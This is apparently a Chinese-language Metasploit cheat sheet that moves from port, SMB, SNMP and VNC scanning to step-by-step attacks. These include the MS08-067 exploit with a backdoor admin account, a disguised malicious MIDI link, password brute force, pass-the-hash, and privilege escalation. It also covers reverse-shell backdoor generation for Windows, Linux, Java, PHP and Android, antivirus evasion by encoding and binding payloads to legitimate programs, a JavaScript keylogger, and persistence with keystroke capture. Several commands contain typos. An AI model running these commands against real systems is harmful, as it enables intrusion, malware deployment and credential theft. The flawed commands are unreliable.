第一季
启动
msfconsole
更新
./msfupdate
退回上一级
quit
1.端口扫描:
调用Nmap扫描:可以参照一篇详细的文章戳我
nmap -v -sV 加上要扫描的ip
调用msf模块扫描
使用search参数搜索相关模块:
search portscan
use auxiliary/scanner/portscan/syn
使用show options参数设置模块详细参数
show options
通过set参数设置模块参数
set INTERFACE 网卡(ip)
set PORTS 端口
通过run参数开始扫描
run
注:Ctrl+c可以暂停扫描
2.SMB扫描_获取系统信息
启动
msfconsile
通过use参数启动smb扫描模块
use auxiliary/scanner/smb/smb_version
通过 show options参数设置模块参数
show options
需要设置的参数有ip和线程
set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)
通过run参数启动模块
run
注:smb模块也可以扫描ip段,假如ip是192.168.1.1,要扫描多个ip可以set RHOS 192.168.1.1-200
3.服务识别(ssh)
启动
msfconsole
通过use参数启动服务识别模块
use auxiliary/scanner/ssh/ssh_version
通过 show options参数设置模块参数
show options
通过 show options参数设置模块参数
show options
需要设置ip
set RHOST IP(你需要扫描的ip),也可以扫描多个ip,只需要在要扫描的ip后面加上另一个IP就行了
通过run参数启动模块
run
识别FTP的除了需要调用的模块不一样以外其他的都一样,就简单给出参数了。。。。。
调用;
use auxiliary/scanner/ftp/ftp_version
设置参数:
show options
如果知道对方FTP账号就可以设置这个参数
set FTPUSER
设置ip
set RHOST IP
启动模块
run
4.密码嗅探
启动
msfconsole
调用模块
use auxiliary/sniffer/psnuffle
设置参数
show options
不需要设置。。。。呵呵呵呵
通过run参数启动模块
run
5.SNMP扫描与枚举
启动
msfconsole
搜索模块
search snmp
调用扫描模块
use auxiliary/scanner/snmp/snmp_login
设置参数
show options
需要设置的参数有ip和线程
set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)
通过run参数启动模块
run
调用枚举模块
use auxiliary/scanner/snmp/snmp_enum
设置参数
show options
需要设置的参数有ip和线程
set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)
通过run参数启动模块
run
6.SMB登陆验证
启动
msfconsole
调用模块
use auxiliary/scanner/vnc/vnc_none_auth
设置参数
show options
需要设置的参数有ip和线程,登录账号
set RHOST IP(你需要扫描的ip/24) set THREADS 100(线程一般默认就好,电脑配置高的可以设置大) set SMBUser administraor(登录名可以自定义)
通过run参数启动模块
run
7.VNC身份验证
启动
msfconsole
调用模块
use auxiliary/scanner/vnc/vnc_none_auth
设置参数
show options
需要设置的参数有ip和线程
set RHOST IP(你需要扫描的ip) set THREADS 100(线程50-100,自己定义吧,端口一般默认不用自己设置)
通过run参数启动模块
run
第二季
1.远程代码执行
启动
msfconsole
搜索漏洞
search 08-067
调用模块
use exploit/windows/smb/ms08_067_netapi
设置参数
show options
需要设置被攻击者ip
set RHOST IP
设置攻击载荷
show payloads
调用攻击载荷
set payload windows/meterpreter/reverse_tcp(最好背下来,因为是常用载荷,直接拼出来就不用找,找起来太费时)
设置参数
show options
需要设置本地ip
set LHOST ip
每次设置完最好都能重新查看一下是否设置成功
show options
用info查看漏洞详情及影响版本
info
当然如果不知道被攻击者服务器版本可以用namp查看服务器版本号
nmap -O ip
只有08-067需要设置版本号,其他都可以自动识别版本号
set target 编号
再次检查
show options
开始利用漏洞
exploit
可以看到反弹,直接shell
shell
在cmd下添加一个账户
net user admin admin /add
提供入侵常用cmd一份~~~戳我
2.MJDJ文件解析远程代码执行
启动
msfconsole
搜索漏洞
search 12-004
调用模块
use exploit/windows/browser/ms12_004_midi
设置参数
show options
需要设置ip
set SRVHOST IP
可以修改伪装
set URIPATH /(可以是反斜杠也可以是文字,例如:好看的电影)
再次检查参数
show option
开始生成
exploit
如果出现端口被占用那么我们还需要修改端口
set LPORT 1244
再次检查参数
show option
开始生成
exploit
等待被攻击者机器连接。。。。。连接上了,我们查看会话
sessions
看到有一个会话,选择id连接会话
sessions -i id(id是1就选1)
获得shell
shell
然后想干嘛就干嘛咯
3.口令安全
启动
msfconsole
搜索模块
serach msql_login(这两个模块也都有,可以根据实际情况而定,格式是xxx_login(这个单词直译就是登录),ssh_login,ftp_login)
调用模块
use auxiliary/scanner/mysql/mysql_login
设置参数
show options
需要设置的参数有ip,用户名,字典,线程
set RHOST IP(被攻击者)
set USERNAME root
set PASS_FILE 字典路径
set THREAD 50
再次检查参数
show option
然后开始
exploit(如果成功了,就可以得出用户名和密码了,直接命令连接即可)
4.hash值传递渗透(相关内容戳我)
启动
msfconsole
调用模块
use/windows/smb/psexec
设置参数
show options
需要设置的参数有ip和用户名
set RHOST IP(被攻击者)
set SMMBUSER 用户名
再次检查参数
show option
执行
exploit
查看哈希值,复制它
hashdump
退出
exit
使用哈希值登录
set smbpass hash
执行
exploit
5.NDP内核提权(基于漏洞给低权限提权的会话)
前提条件有一个已经连接的的会话(session),但是其权限低
搜索提权模块
serarch 14-002
调用模块
use exploit/windows/local/ms_ndproxy
设置参数
show options
设置会话id提权
set session 1(id)
再次检查参数
show option
执行
exploit
提权完成后使用getuid查看当前权限
getuid
也可以获得shell之后使用get进行提权
getsystem
6.多种后门的生成
启动
msfconsole
a.Windows后门生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=本机ip LPORT=端口 -f (格式)exe -o /((路径)自定义.exe
不要先发给被攻击者或者运行,要创建会话监听便于接受shell,搜索模块
search handler
调用模块
use exploit/mulit/handler
设置参数
show options
参数设置为创建所用的模块后门的参数
set payload windows/meterpreter/reverse_tcp
set LHOST IP
set LPORT 端口
创建会话监听完成,可以把生成的后门发给被攻击者了
b.linux生成后门
msfpayload linux/x86/shell_reverse_tcp LHOST=IP LPORT=端口 X >linux
这里为了方便直接给靶机里的Linux777权限,列出目录,然后运行
chmod 777 linux
ls
./linux
注意端口不能重复
一样的,设置会话监听
search handler
调用模块
use exploit/mulit/handler
设置参数
show options
参数设置为创建所用的模块后门的参数
set payload linux/x86/shell_reverse_tcp LHOST=IP LPORT=端口 X >linux
set LHOST IP
set LPORT 端口
举一反三,java,php,等等的就给出代码参考
c.java后门的生成
msfpayload java/meterpreter/shell_reverse_tvp LHOST=IP LPORT=端口 W >123.jar
d.php后门的生成
msfpayload java/meterpreter/shell_reverse_tcp LHOST=IP LPORT=端口 R | msfencode -e php/baes64 -t raw -o 123.php
上传到目标站-本地监听-目标访问服务器
e.安桌后门的生成
msfpayload android/meterpreter/shell_reverse_tcp LHOST=IP LPORT=端口 R >1.apk
目标运行1.apk
本地监听
7.内网渗透(获得shell前提下)
启动
msfconsole
获得shell扫描c段
run get_local_subnets 获取网卡
run autoroute -s ip 扫描c段
在有域的情况下,劫持域管理
调用:use incognito
设置:impersonate_token 域
shell
调用嗅探模块
use auxiliary/sniffer/psnuffle
run
8.反反病毒(免杀)
启动
msfconsole
生成后门,以Windows为例,调用模块免杀
msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -e x86/shikata_ga_nai - t exe>123.exe
多次免杀(有时候多次免杀效果反而不好,因为免杀与次数无关)
msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -e x86/shikata_ga_nai -c 10 - t raw | msfencode -e x86/countdown -c 5 -t exe -o /1231.exe 10和5为免杀次数
绑定正常文件免杀
msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -t exe -x /root/ftp.exe -o 123123.exe -e x86/shikata_ga_nai - k -c 10
加壳
upx -5 /1231.exe
9.不一样的xss(键盘记录)
启动
msfconsole
搜索模块
search keylogger
调用模块
use auxiliary/server/capture/http_javascript_keyloger
设置参数
show options
需要设置的参数有页面,这里启动启动官方演示
set DEMO true(意思是官方演示)
set URIPATH /(设置url)
set srvport 80(端口)
生成
run
10.维持访问(访问后门)
启动
msfconsole
调用模块
use exploit/multi/handler
生成payload方便连接会话
set payload windows/meterpreter/reverse_tcp
设置参数
show options
设置ip,端口
set LHOST IP
SET LPORT 1111
运行
run
获得后门
run metsvs -A
举例。。。。假如过段时间还想再次连接机器可以调用同样的模块,但是需要设置的东西就不一样了
调用模块
use exploit/multi/handler
生成payload
set payload windows/meterpreter/metsvs_bind_tcp
设置参数
show options
需要设置刚刚创建payload的端口和对方ip
set LPORT 31337
set RHOST IP
执行
exploit
可以启用键盘记录方便记录管理员密码
keyscan_start(键盘记录)
keyscan_dump(查看记录)
msfconsole的模块多种多样,看个人怎么留后门
附上我看好的一篇学习笔记戳我